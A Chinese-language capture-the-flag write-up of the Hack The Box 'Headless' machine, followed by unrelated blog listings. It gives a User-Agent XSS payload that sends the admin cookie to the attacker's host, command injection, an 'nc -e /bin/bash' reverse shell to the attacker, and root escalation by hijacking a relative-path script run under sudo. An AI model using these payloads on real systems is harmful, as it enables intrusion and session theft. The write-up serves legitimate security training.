Headless靶机

靶机概述

Headless 是一款简单易难的 Linux 机器,具有python实现的托管网站的服务器。基本思路:

  1. 通过端口探测到web页面,有一个表单。
  2. 利用忙注XSS,获得管理员Cookie,进而获得立足点。
  3. 利用邮件信息进行提权到root权限

Headless靶机地址

1、nmap端口探测

1)测试kali与HTB连通性
a)kali连接网卡
ip a
tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 10.10.14.50/23 scope global tun0
valid_lft forever preferred_lft forever
inet6 dead:beef:2::1030/64 scope global
valid_lft forever preferred_lft forever
inet6 fe80::5fd0:9e3a:8065:d66a/64 scope link stable-privacy
valid_lft forever preferred_lft forever

与HTB连接的网卡10.10.14.50

b)HTB靶机地址

c) ping 测试
ping 10.10.11.8
PING 10.10.11.8 (10.10.11.8) 56(84) bytes of data.
64 bytes from 10.10.11.8: icmp_seq=1 ttl=63 time=330 ms
64 bytes from 10.10.11.8: icmp_seq=2 ttl=63 time=328 ms
2) nmap扫描
a) 端口发现
# 以最低10000速率,以tcp扫面全端口 结果输出到ports文件中
nmap -sT -p- --min-rate 10000 10.10.11.8 -o ports Starting Nmap 7.93 ( https://nmap.org ) at 2024-07-27 22:32 EDT
Warning: 10.10.11.8 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.8
Host is up (0.33s latency).
Not shown: 65178 closed tcp ports (conn-refused), 355 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp Nmap done: 1 IP address (1 host up) scanned in 54.36 seconds
b) 端口详细信息
# 以tcp连接,输出详细信息,以默认脚本 扫描22,5000端口,结果输出到details文件中
nmap -sT -sV -sC -p22,5000 10.10.11.8 -o details PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 900294283dab2274df0ea3b20f2bc617 (ECDSA)
|_ 256 2eb90824021b609460b384a99e1a60ca (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Sun, 28 Jul 2024 02:48:15 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 2799
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
| Connection: close

可以看到5000端口像是一个web服务,22号端口就是常规的ssh服务

2、web渗透

1)访问5000端口

发现有一个For questions的按钮,我们点击进去,看到一个表单,尝试XSS注入

点击提交

上面显示

Your IP address has been flagged, a report with your browser information has been sent to the administrators for investigation.

你的IP地址已经被标记,你的浏览器信息的报告已经被发送给管理员去调查了。

下边就是报告的信息,可以看到有头部的信息,可以尝试头部XSS注入

2)获取管理员cookie
a) 尝试注入点

我们打开burpsuite拦截提交表单的请求

我们修改UA头信息,进行XSS注入

插入

<script>alert(1)</script>


成功弹窗

b) 获取管理员cookie
  1. 打开本地的服务,捕获http请求
# python开启http监听5000端口
python -m http.server 5000
  1. UA头插入
GET请求本地的python服务cookie以参数传输base64加密后的字符串
<script>var i=new Image(); i.src="http://10.10.14.41:5000/?cookie="+btoa(document.cookie);</script>

出现了一点小bug,

ping 10.10.11.8

PING 10.10.11.8 (10.10.11.8) 56(84) bytes of data.

From 10.10.14.1 icmp_seq=1 Destination Host Unreachable

From 10.10.14.1 icmp_seq=2 Destination Host Unreachable

From 10.10.14.1 icmp_seq=3 Destination Host Unreachable

换了一个vpn节点 我的主机ip换成了 10.10.14.54

3.发送观察本地的python服务

看到cookie的base64外带出来了

开始base64解码

echo "aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA=" | base64 -d

# 结果
is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0

看着is_admin字段也是base64加密的,解码看看

echo "ImFkbWluIg" | base64 -d
"admin"base64: 无效的输入 # 这里无效输入,是base编码字符的长度必须是4的倍数,否则用‘=’补齐
echo "ImFkbWluIg==" | base64 -d
"admin"

可以看到就是admin,我们有了admin的cookie,看看有没有什么其他可以访问的网站

3)管理界面路径寻找
a) 路径爆破
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.11.8:5000

#出来的路径
/support (Status: 200) [Size: 2363]
/dashboard (Status: 500) [Size: 265]
b) 访问dashboard

unauthorized我们可以更换我们浏览器的cookie值,达到访问的目的

刷新可以看到

看它是Select Date框里是日期,会不会是date命令生成的呢。点击 Generate Report看看会发生什么

下面说Systems are up and running!

用burp抓包分析一下

c) 尝试命令注入

传了一个date参数,我们尝试命令注入 ;id看可不可以

看到输出了id的命令值

3、反弹shell,获得立足点

1)本地监听
nc -lnvp 4444
2) 命令注入

反弹shell

nc -e /bin/bash 10.10.14.54 4444

成功反弹shell,获得立足点

# 获得一个更美观的shell,并让日志不记录我们的操做
script /dev/null -c /bin/bash

3) 获得user flag

在本用户的家目录,找到flag

dvir@headless:~$ cd /home/dvir
cd /home/dvir
dvir@headless:~$ cat user.txt
cat user.txt
c62add3a4cecb6ace7242e40305e9ed2

4、提权到root

1)发现邮件系统

通过枚举目标系统,发现目标有邮件

cd /var/mail
cat dvir Subject: Important Update: New System Check Script Hello! We have an important update regarding our server. In response to recent compatibility and crashing issues, we've introduced a new system check script. What's special for you?
- You've been granted special privileges to use this script.
- It will help identify and resolve system issues more efficiently.
- It ensures that necessary updates are applied when needed. Rest assured, this script is at your disposal and won't affect your regular use of the system. If you have any questions or notice anything unusual, please don't hesitate to reach out to us. We're here to assist you with any concerns. By the way, we're still waiting on you to create the database initialization script!
Best regards,
Headless

意思就是说:为了应对最近的兼容性和崩溃问题,我们引入了一个新的系统检查脚本。

这个脚本应该就是我们提权的关键

# 运行 sudo -l 可以看到检查文件的路径
sudo -l
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck
#查看一下脚本
cat /sur/bin/syscheck #!/bin/bash if [ "$EUID" -ne 0 ]; then
exit 1
fi last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time" disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space" load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average" if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi exit 0
2)分析脚本文件

我们可以看到以上脚本,执行了多项系统的检查与维护任务。

首先,它验证是否以特权运行,如果没有则退出。

if [ "$EUID" -ne 0 ]; then
exit 1
fi

然后,识别并格式化显示内核vmlinuz*的最后修改时间。

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

之后,它检索并显示根文件系统上的可用磁盘空间。

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

该脚本还报告系统的平均负载。此外,它还会检查名为 initdb.sh 的数据库服务是否正在运行;如果没有,它会默默地启动它

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average" if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi

基于initdb.sh没有运行会被这个检查系统的脚本syscheck默默以特权执行

我们是不是可以像dll劫持、环境变量劫持那样,让他去加载我们自己写的initdb.sh

3)initdb.sh劫持提权
# 由于我们在tmp目录下具有写权限,先在tmp目录下创建initdb.sh

echo "/bin/bash" > /tmp/initdb.sh

# 赋予执行权限
chmod +x /tmp/initdb.sh

执行sudo syscheck

dvir@headless:/tmp$ sudo syscheck
sudo syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 2.0G
System load average: 0.00, 0.00, 0.00
Database service is not running. Starting it...
id
id
uid=0(root) gid=0(root) groups=0(root)

拿到root flag

cat /root/root.txt
1d3462b03683fc35bcd908637e7dc4a7

总结

  1. 先用nmap扫描,发现目标机器开放了22,5000端口。
  2. 访问5000端口,发现是一个web服务,并且有一个表单,尝试存储型XSS攻击,获得管理员cookie信息
  3. 利用管理员cookie信息,结合目录爆破出来的/bashboard路径,发现了一处命令注入的RCE漏洞,成功获得立足点
  4. 通过枚举得到此用户有mail邮件,打开邮件说有一个系统检查脚本syscheck,通过分析脚本知道脚本会去以root权限运行initdb.sh服务
  5. 通过劫持initdb.sh成功获得root权限

Headless靶机笔记的更多相关文章

  1. 笔记-selenium+chrome headless

    笔记-selenium+chrome headless 1.      selenium+chrome headless phantomjs与selenium分手了,建议使用其它无头浏览器. chro ...

  2. vulnhub靶机Tr0ll:1渗透笔记

    Tr0ll:1渗透笔记 靶场下载地址:https://www.vulnhub.com/entry/tr0ll-1,100/ kali ip:192.168.20.128 靶机和kali位于同一网段 信 ...

  3. vulnhub靶机djinn:1渗透笔记

    djinn:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/djinn-1,397/ 信息收集 首先我们嘚确保一点,kali机和靶机处于同一网段,查看kali i ...

  4. sqli-labs靶机注入笔记1-10关

    嗯,开始记录sqli-lab的每关笔记,复习一次 1-2关 基于错误的字符串/数字型注入 闭合的符号有区别而已 http://www.sqli-lab.cn/Less-1/?id=1 or 1=1 - ...

  5. vulnhub 靶机 Kioptrix Level 1渗透笔记

    靶机下载地址:https://www.vulnhub.com/entry/kioptrix-level-1-1,22/ kali ip 信息收集 先使用nmap收集目标的ip地址 nmap -sP 1 ...

  6. 渗透测试全流程靶机vulnhubDC-1完成笔记

    镜像下载地址 https://www.vulnhub.com/entry/dc-1-1,292/ 信息收集 1.可以使用netdiscover -i eth0 发现二层网络信息 发现两个设备(103是 ...

  7. GC学习笔记

    GC学习笔记 这是我公司同事的GC学习笔记,写得蛮详细的,由浅入深,循序渐进,让人一看就懂,特转到这里. 一.GC特性以及各种GC的选择 1.垃圾回收器的特性 2.对垃圾回收器的选择 2.1 连续 V ...

  8. 非常详细GC学习笔记

    转载:http://blog.csdn.net/fenglibing/article/details/6321453 这是我公司同事的GC学习笔记,写得蛮详细的,由浅入深,循序渐进,让人一看就懂,特转 ...

  9. LFS7.4编译笔记(3)

    在第一部分,我们编译了一个工具链及临时系统,然后在第二部分我们chroot到/mnt/lfs下面,利用临时系统的工具编译了我们最终的LFS系统.不过此时,我们的LFS系统还是不完整的,因为我们还没有安 ...

  10. 很具体GC学习笔记

    GC学习笔记 这是我公司同事的GC学习笔记,写得蛮具体的,由浅入深,循序渐进,让人一看就懂,特转到这里. 一.GC特性以及各种GC的选择 1.垃圾回收器的特性 2.对垃圾回收器的选择 2.1 连续 V ...

随机推荐

  1. CSS 属性计算

    CSS 属性计算过程 你是否了解 CSS 的属性计算过程呢? 有的同学可能会讲,CSS属性我倒是知道,例如: p{ color : red; } 上面的 CSS 代码中,p 是元素选择器,color ...

  2. 有点儿神奇,原来vue3的setup语法糖中组件无需注册因为这个

    前言 众所周知,在vue2的时候使用一个vue组件要么全局注册,要么局部注册.但是在setup语法糖中直接将组件import导入无需注册就可以使用,你知道这是为什么呢?注:本文中使用的vue版本为3. ...

  3. Wireshark抓包分析理解DHCP协议及工作流程

    一.DHCP简介   DHCP(Dynamic Host Configuration Protocol)动态主机配置协议,前身是BOOTP协议.在大型局域网中,需要给很多主机配置地址信息,如果采用传统 ...

  4. PetaLinux常用命令汇总

    创建petalinux工程 Create a new project from a reference BSP file. 用于从官方下载的BSP中抽取数据产生工程. petalinux-create ...

  5. 3568F-视频开发案例

  6. Linux常用指令及shell脚本记录

    记录一些常用指令在博客上,以防哪天因太久不敲而忘却,还可以直接翻看博客记录,不用再一条条百度搜...... 一.Linux常用指令 一.设置文件权限为aapp用户及用户组-- chown -R app ...

  7. 在MoneyPrinterPlus中使用本地chatTTS语音模型

    之前MoneyPrinterPlus在批量混剪,一键AI生成视频这些功能上的语音合成功能都用的是云厂商的语音服务,比阿里云,腾讯云和微软云. 云厂商虽然提供了优质的语音服务,但是用起来还是要收费. 为 ...

  8. 求之不得的 Java 文档教程大汇总!

    已收录至免费编程资源大全:https://github.com/liyupi/free-programming-resources 大家好,我是鱼皮,今天分享几个 GitHub 上非常实用的 Java ...

  9. [oeasy]python0080_设置RGB颜色_24bit_24位真彩色_颜色设置

    RGB颜色 回忆上次内容 上次 首先了解了 索引颜色 \33[38;5;XXXm 设置 前景为索引色 \33[48;5;XXXm 设置 背景为索引色 RGB每种颜色 可选0-5 总共 6 级 想用 精 ...

  10. IPFS 解决国内 docker mirror 封锁

    IPFS 解决国内 docker mirror 封锁 内容仅用于研究,帮助开发者学习技术知识,以建设祖国 IPFS 技术是当前 Web3 的主要基建设施,提供去中心化存储,以及 libp2p 的去中心 ...